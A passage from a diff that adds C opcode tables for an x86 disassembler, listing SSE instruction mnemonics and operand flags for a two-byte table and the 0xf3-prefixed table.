INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x93 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x94 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x95 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x96 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x97 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x98 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x99 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9b + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9c + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9d + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9e + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa0 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa1 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa2 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa3 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa4 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa5 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa6 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa7 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa8 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa9 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xaa + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xab + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xac + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xad + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xae + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xaf + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb0 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb1 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb2 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb3 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb4 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb5 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb6 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb7 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb8 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb9 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xba + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbb + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbc + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbd + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbe + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbf + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc0 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc1 + { INSTRUCTION_TYPE_SSE, "cmpsd", AM_V|OT_sd, AM_W|OT_sd, AM_I|OT_b, 1 }, // 0xc2 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc3 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc4 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc5 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc6 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc7 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc8 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc9 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xca + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcb + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcc + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcd + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xce + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcf + { INSTRUCTION_TYPE_SSE, "addsubpd", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0xd0 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd1 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd2 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd3 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd4 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd5 + { INSTRUCTION_TYPE_SSE, "movdq2q", AM_P|OT_q, AM_V|OT_q, FLAGS_NONE, 1 }, // 0xd6 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd7 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd8 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd9 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xda + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdb + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdc + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdd + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xde + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdf + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe0 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe1 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe2 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe3 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe4 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe5 + { INSTRUCTION_TYPE_SSE, "cvtpd2dq", AM_V|OT_dq, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0xe6 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe7 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe8 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe9 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xea + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xeb + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xec + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xed + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xee + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xef + { INSTRUCTION_TYPE_SSE, "lddqu", AM_V|OT_dq, AM_M|OT_dq, FLAGS_NONE, 1 }, // 0xf0 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf1 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf2 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf3 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf4 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf5 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf6 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf7 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf8 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf9 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfa + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfb + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfc + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfd + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfe + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xff +}; + +// 3-byte instructions, prefix 0xf3 + +INST inst_table3_f3[256] = { + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x0 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x5 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf + { INSTRUCTION_TYPE_SSE, "movss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x10 + { INSTRUCTION_TYPE_SSE, "movss", AM_W|OT_ss, AM_V|OT_ss, FLAGS_NONE, 1 }, // 0x11 + { INSTRUCTION_TYPE_SSE, "movsldup", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x12 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x13 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x14 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x15 + { INSTRUCTION_TYPE_SSE, "movshdup", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x16 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x17 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x18 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x19 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1b + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1c + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1d + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1e + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x20 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x21 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x22 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x23 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x24 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x25 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x26 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x27 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x28 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x29 + { INSTRUCTION_TYPE_SSE, "cvtsi2ss", AM_V|OT_ss, AM_E|OT_d, FLAGS_NONE, 1 }, // 0x2a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2b + { INSTRUCTION_TYPE_SSE, "cvttss2si",AM_G|OT_d, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x2c + { INSTRUCTION_TYPE_SSE, "cvtss2si", AM_G|OT_d, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x2d + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2e + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x30 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x31 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x32 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x33 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x34 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x35 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x36 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x37 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x38 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x39 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3b + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3c + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3d + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3e + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x40 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x41 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x42 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x43 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x44 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x45 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x46 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x47 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x48 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x49 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4b + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4c + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4d + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4e + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x50 + { INSTRUCTION_TYPE_SSE, "sqrtss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x51 + { INSTRUCTION_TYPE_SSE, "rsqrtss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x52 + { INSTRUCTION_TYPE_SSE, "rcpss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x53 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x54 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x55 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x56 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x57 + { INSTRUCTION_TYPE_SSE, "addss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x58 + { INSTRUCTION_TYPE_SSE, "mulss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x59 + { INSTRUCTION_TYPE_SSE, "cvtsd2sd", AM_V|OT_sd, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x5a + { INSTRUCTION_TYPE_SSE, "cvttps2dq",AM_V|OT_dq, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x5b + { INSTRUCTION_TYPE_SSE, "subss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x5c + { INSTRUCTION_TYPE_SSE, "minss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x5d + { INSTRUCTION_TYPE_SSE, "divss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x5e + { INSTRUCTION_TYPE_SSE, "maxss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x5f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x60 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x61 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x62 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x63 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x64 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x65 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x66 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x67 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x68 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x69 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6b + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6c + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6d + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6e + { INSTRUCTION_TYPE_SSE, "movdqu", AM_V|OT_dq, AM_W|OT_dq, AM_I|OT_b, 1 }, // 0x6f + { INSTRUCTION_TYPE_SSE, "pshufhw", AM_V|OT_dq, AM_W|OT_dq, AM_I|OT_b, 1 }, // 0x70 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x71 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x72 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 